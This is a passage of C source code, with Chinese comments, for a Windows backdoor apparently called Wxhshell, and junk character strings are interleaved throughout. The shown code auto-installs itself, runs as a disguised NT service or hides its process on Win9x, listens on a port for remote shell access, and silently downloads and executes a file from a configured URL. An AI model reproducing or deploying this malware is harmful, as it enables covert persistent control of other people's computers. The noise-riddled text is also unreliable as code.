~)\! KVHK~Y-G HMODULE hMod; 1pqYB]*u_ char procName[255]; P0rdGf 5T unsigned long cbNeeded; ]''tuo2g8 UMH~Q`" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tPDB'S:&3 X^C $|: CloseHandle(hProcess); ]j.!
w$`u_P|@E: if(strstr(procName,"services")) return 1; // 以服务启动 }mS
Q!"f: ltHuN;C\ return 0; // 注册表启动 n.A*(@noe } ;1k_J~Qei xM>dv5<E // 主模块 _he~Y2zFz int StartWxhshell(LPSTR lpCmdLine) xEB4oQ5 { v%QCp SOCKET wsl; DvTbt?i[ BOOL val=TRUE;
aqwW`\ int port=0; Lve$H(GHT struct sockaddr_in door; [n +( cGWL'r)P if(wscfg.ws_autoins) Install(); {X W>3 " 7N0m7SC port=atoi(lpCmdLine); #Z]<E6<=9 vIFx'S~D if(port<=0) port=wscfg.ws_port; (JiEV3GH Koz0Xy WSADATA data; ktv{-WG2_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fVZ_*'v th=45y"C if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pe+m%;nzR setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 72y!cK6 door.sin_family = AF_INET; gIcPKj"8${ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]xhH:kW4 door.sin_port = htons(port); 2Mu(GUe; d_98%U+u if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vf`] closesocket(wsl); QEEX|WM return 1; 'YEiT#+/ } x_EU.924uY &0mhO+g if(listen(wsl,2) == INVALID_SOCKET) { *gI9CVfQl closesocket(wsl); 5JZZvc$au return 1; [ HjGdC } /PkOF(( Wxhshell(wsl); lqKwjJtX WSACleanup(); t;[Q&Jl +>v{#A_u return 0; uMBb=
$P&27 } b*a}~1 +Jc-9Ko\c; // 以NT服务方式启动 #p=Wt&2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F#{PJ# { /zV0kW>N DWORD status = 0; tQ4{:WPG DWORD specificError = 0xfffffff; Os1y8ui " 2@Ys*e serviceStatus.dwServiceType = SERVICE_WIN32; n]btazM{ serviceStatus.dwCurrentState = SERVICE_START_PENDING; +z\O"zlj serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wT\dzp>/ serviceStatus.dwWin32ExitCode = 0; B Zw#ACU serviceStatus.dwServiceSpecificExitCode = 0; _d<\@Tkw serviceStatus.dwCheckPoint = 0; #60<$HO:Z serviceStatus.dwWaitHint = 0; 4>@-1nt} KL*UU,qU hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k?=V?JWY if (hServiceStatusHandle==0) return; Iyvl6 j8p'B-yS status = GetLastError(); ?r~](l if (status!=NO_ERROR) ]9pcDZB { k4nA+k<WI` serviceStatus.dwCurrentState = SERVICE_STOPPED; #kGxX@0 serviceStatus.dwCheckPoint = 0; kC[nY serviceStatus.dwWaitHint = 0; |zL .PS serviceStatus.dwWin32ExitCode = status; Xq%!(YD| serviceStatus.dwServiceSpecificExitCode = specificError; KBGJB`D* SetServiceStatus(hServiceStatusHandle, &serviceStatus); uO-R:MC return; |m7`:~ow } :hxZ2O?5_ @)8C serviceStatus.dwCurrentState = SERVICE_RUNNING; }~5xlg$B<< serviceStatus.dwCheckPoint = 0; K#{E87G( serviceStatus.dwWaitHint = 0; ]H<C Rw if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1')/ BM2 } s/'gl & ~[%N
O // 处理NT服务事件,比如:启动、停止 <`m.Vbvm" VOID WINAPI NTServiceHandler(DWORD fdwControl) dUJNr_ { g@"6QAP switch(fdwControl) O^gq\X4} { )O%lh
8fI case SERVICE_CONTROL_STOP: 9uREbip serviceStatus.dwWin32ExitCode = 0; u]cnbm serviceStatus.dwCurrentState = SERVICE_STOPPED; UoxF00H@! serviceStatus.dwCheckPoint = 0; )u&_}6z serviceStatus.dwWaitHint = 0; 9~mi[l~ { `0Q:d' SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7+u%]D! } ;7<a0HZ5! return; j|(bDa4\ case SERVICE_CONTROL_PAUSE: _>:g&pS/ serviceStatus.dwCurrentState = SERVICE_PAUSED; tdr*>WL break; 4/U]7Y case SERVICE_CONTROL_CONTINUE: vR~*r6hX8 serviceStatus.dwCurrentState = SERVICE_RUNNING; 49Ue2=PP# break; @kwD$%*0 case SERVICE_CONTROL_INTERROGATE: 7"JU)@ U] break; U>x2'B v }; C5RDP~au SetServiceStatus(hServiceStatusHandle, &serviceStatus); uf)W?`e~ } L ou4M .^.UJo;4G // 标准应用程序主函数 90aPIs- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1,`x1dcO!A { cCV"(Oo[H| {Q(6
.0R // 获取操作系统版本 P [nWmY OsIsNt=GetOsVer(); |2 wff? GetModuleFileName(NULL,ExeFile,MAX_PATH); NV-9C$<n2! /9w}[y*E // 从命令行安装 |H_)u if(strpbrk(lpCmdLine,"iI")) Install(); PewPl0 d8RpL{9\7 // 下载执行文件 p
go\(K0 if(wscfg.ws_downexe) { 8rp-XiW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) = xX^ WinExec(wscfg.ws_filenam,SW_HIDE); X0Oq lAw } )Y&De)= EJtU(HmW if(!OsIsNt) { OEwfNZQ- // 如果时win9x,隐藏进程并且设置为注册表启动 BtHvfoT HideProc(); JN KZ'9 StartWxhshell(lpCmdLine); F5<{-{Ky } u\.sS|$ else M<~F>(wxA if(StartFromService()) NxX1_d // 以服务方式启动 N[+dX_h StartServiceCtrlDispatcher(DispatchTable);
=;/h{
t else D[#\Y+N // 普通方式启动 MM8)yCI StartWxhshell(lpCmdLine); };!c]/, "^D6%I#T return 0; NJtB ; }
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